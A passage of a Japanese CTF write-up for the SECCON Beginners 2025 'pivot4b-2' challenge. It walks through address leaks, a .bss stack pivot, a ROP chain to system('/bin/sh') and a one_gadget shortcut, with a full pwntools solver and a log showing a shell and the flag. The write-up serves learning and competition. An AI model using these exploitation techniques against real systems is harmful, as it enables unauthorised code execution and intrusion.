main_leak = unpack(p.recvline()[65:71].ljust(8, b"\0"))
elf.address = main_leak - 74 - elf.symbols["main"]

2回目: RBPを.bssセグメントに設定+libcアドレスリーク

ROPチェーンを書き込んで実行したいのですが、書き込み先のmessage変数のアドレスもわからず、チェーン作成に必要なlibcのアドレスもわからない状況です。

以下は1回目のvuln()でprintf()実行直後の状態ですが、printf()の処理が終了するとRDIがfunlockfile()を参照している状態になっているので、これを表示してlibcアドレスをリークさせます。
image.png

すでにPIEベースのアドレスはわかっているので、今度はchall内の任意のアドレスにジャンプできます。vuln()の処理は以下のようになっており、printf()をcallするところ(0x0010119f、つまりvuln()+38)にジャンプすればRDI(第1引数)が表示できます。
image.png

その後の処理でread()関数を呼び出していますが、書き込み先として[RBP + -0x30]となっているので、RBPに「書き込みたいアドレス+0x30」を設定すればよいことになります。今回は.bssセグメントにROPチェーンを書き込んでスタックピボットすることを想定しているため、.bssセグメント+0x30を書き込み先にします。

bss_address = elf.bss() + 0x800  # 余裕をもって0x800バイトオフセット
payload = b"A" * 0x30
payload += p64(bss_address + 0x30)
payload += p64(elf.symbols["vuln"] + 38)
p.sendafter(b"> ", payload)
funlockfile_leak = unpack(p.recv()[64:71].ljust(8, b"\0"))
libc.address = funlockfile_leak - libc.symbols["funlockfile"]

3回目: ROPチェーン書き込み+スタックピボット+ROP実行

read()によって入力を求められますが、vunl()の途中にジャンプしているので>プロンプトは表示されません。

libcアドレスがわかったので、前回はGIFTとして登録されていたpop rdiガジェットをlibcから取得します。また、スタックピボットに必要となるleaveガジェットも合わせて取得します。

情報、条件は揃ったので、前問pivot4bと同様にROPを書き込んで、スタックピボットし、ROPを実行してシェルを取得します。

rop = ROP(libc)
leave_gadget = rop.find_gadget(["leave", "ret"]).address
pop_rdi_gadget = rop.find_gadget(["pop rdi", "ret"]).address
bin_sh = next(libc.search(b"/bin/sh"))

payload = p64(pop_rdi_gadget)
payload += p64(bin_sh)
payload += p64(libc.symbols["system"])
payload += b"a" * 0x8 * 3
payload += p64(bss_address - 0x8)
payload += p64(leave_gadget)
p.send(payload)

追記
作問者Writeupを見てみましたが、3回目はスタックピボット、ROP実行しなくても、libcアドレスがわかっているのでone_gadgetに飛ばすだけで良かったようです。これに気づいていれば時間内に解けた...

one_gadget = libc.address + 0xEBD3F
payload = b"A" * 0x30
payload += p64(bss_address)
payload += p64(one_gadget)
p.send(payload)

最終的に、ソルバーは以下のようになります。

solver.py
from pwn import *

context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h", "-F" "#{pane_pid}", "-P"]

binf = "./chall"
elf = ELF(binf)
context.binary = elf
libcf = "./libc.so.6"
libc = ELF(libcf)

# p = process(binf, env={"LD_PRELOAD": libcf})
p = remote("pivot4b-2.challenges.beginners.seccon.jp", 12300)

# gdb.attach(p)

######################
payload = b"a" * 0x8 * 7
payload += b"\x26"
p.sendafter(b"> ", payload)
main_leak = unpack(p.recvline()[65:71].ljust(8, b"\0"))
elf.address = main_leak - 74 - elf.symbols["main"]
log.info("chall address: " + hex(elf.address))

######################
bss_address = elf.bss() + 0x800  # 余裕をもって0x800バイトオフセット
log.info("bss: " + hex(bss_address))

payload = b"A" * 0x30
payload += p64(bss_address + 0x30)
payload += p64(elf.symbols["vuln"] + 38)
p.sendafter(b"> ", payload)
funlockfile_leak = unpack(p.recv()[64:71].ljust(8, b"\0"))
libc.address = funlockfile_leak - libc.symbols["funlockfile"]
log.info("libc address:" + hex(libc.address))

######################
rop = ROP(libc)
leave_gadget = rop.find_gadget(["leave", "ret"]).address
pop_rdi_gadget = rop.find_gadget(["pop rdi", "ret"]).address
bin_sh = next(libc.search(b"/bin/sh"))
log.info("leave_gadget: " + hex(leave_gadget))
log.info("pop_rdi_gadget: " + hex(pop_rdi_gadget))
log.info("binsh: " + hex(bin_sh))

payload = p64(pop_rdi_gadget)
payload += p64(bin_sh)
payload += p64(libc.symbols["system"])
payload += b"a" * 0x8 * 3
payload += p64(bss_address - 0x8)
payload += p64(leave_gadget)
p.send(payload)

p.interactive()
実行結果
$ python3 solver.py
[*] '/home/naoki/SECCON_Beginners_CTF_2025/pivot4b-2/chall'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
[*] '/home/naoki/SECCON_Beginners_CTF_2025/pivot4b-2/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[+] Opening connection to pivot4b-2.challenges.beginners.seccon.jp on port 12300: Done
[DEBUG] Received 0x21 bytes:
    b'Welcome to the second pivot game!'
[DEBUG] Received 0x3 bytes:
    b'\n'
    b'> '
[DEBUG] Sent 0x39 bytes:
    b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&'
[DEBUG] Received 0x6c bytes:
    00000000  4d 65 73 73  61 67 65 3a  20 61 61 61  61 61 61 61  │Mess│age:│ aaa│aaaa│
    00000010  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000040  61 26 82 9f  44 af 55 0a  57 65 6c 63  6f 6d 65 20  │a&··│D·U·│Welc│ome │
    00000050  74 6f 20 74  68 65 20 73  65 63 6f 6e  64 20 70 69  │to t│he s│econ│d pi│
    00000060  76 6f 74 20  67 61 6d 65  21 0a 3e 20               │vot │game│!·> │
    0000006c
[*] chall address: 0x55af449f7000
[*] bss: 0x55af449fb810
[DEBUG] Sent 0x40 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000030  40 b8 9f 44  af 55 00 00  9f 81 9f 44  af 55 00 00  │@··D│·U··│···D│·U··│
    00000040
[DEBUG] Received 0x46 bytes:
    00000000  4d 65 73 73  61 67 65 3a  20 41 41 41  41 41 41 41  │Mess│age:│ AAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000030  41 41 41 41  41 41 41 41  41 40 b8 9f  44 af 55 0a  │AAAA│AAAA│A@··│D·U·│
    00000040  50 50 0b bb  d8 7f                                  │PP··│··│
    00000046
[*] libc address:0x7fd8bb053000
[*] Loaded 219 cached gadgets for './libc.so.6'
[*] leave_gadget: 0x7fd8bb0a0a83
[*] pop_rdi_gadget: 0x7fd8bb07d3e5
[*] binsh: 0x7fd8bb22b678
[DEBUG] Sent 0x40 bytes:
    00000000  e5 d3 07 bb  d8 7f 00 00  78 b6 22 bb  d8 7f 00 00  │····│····│x·"·│····│
    00000010  70 3d 0a bb  d8 7f 00 00  61 61 61 61  61 61 61 61  │p=··│····│aaaa│aaaa│
    00000020  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    00000030  08 b8 9f 44  af 55 00 00  83 0a 0a bb  d8 7f 00 00  │···D│·U··│····│····│
    00000040
[*] Switching to interactive mode
[DEBUG] Received 0x10 bytes:
    00000000  4d 65 73 73  61 67 65 3a  20 e5 d3 07  bb d8 7f 0a  │Mess│age:│ ···│····│
    00000010
Message: \xe5\xd3\x07\xbb\xd8\x7f
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x2e bytes:
    b'flag-30f9af30bae6316908ad674471772e05.txt\n'
    b'run\n'
flag-30f9af30bae6316908ad674471772e05.txt
run
$ cat flag-30f9af30bae6316908ad674471772e05.txt
[DEBUG] Sent 0x2e bytes:
    b'cat flag-30f9af30bae6316908ad674471772e05.txt\n'
[DEBUG] Received 0x1f bytes:
    b'ctf4b{f3wer_g1fts_gr3ater_j0y}\n'
ctf4b{f3wer_g1fts_gr3ater_j0y}
$

ctf4b{f3wer_g1fts_gr3ater_j0y}

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?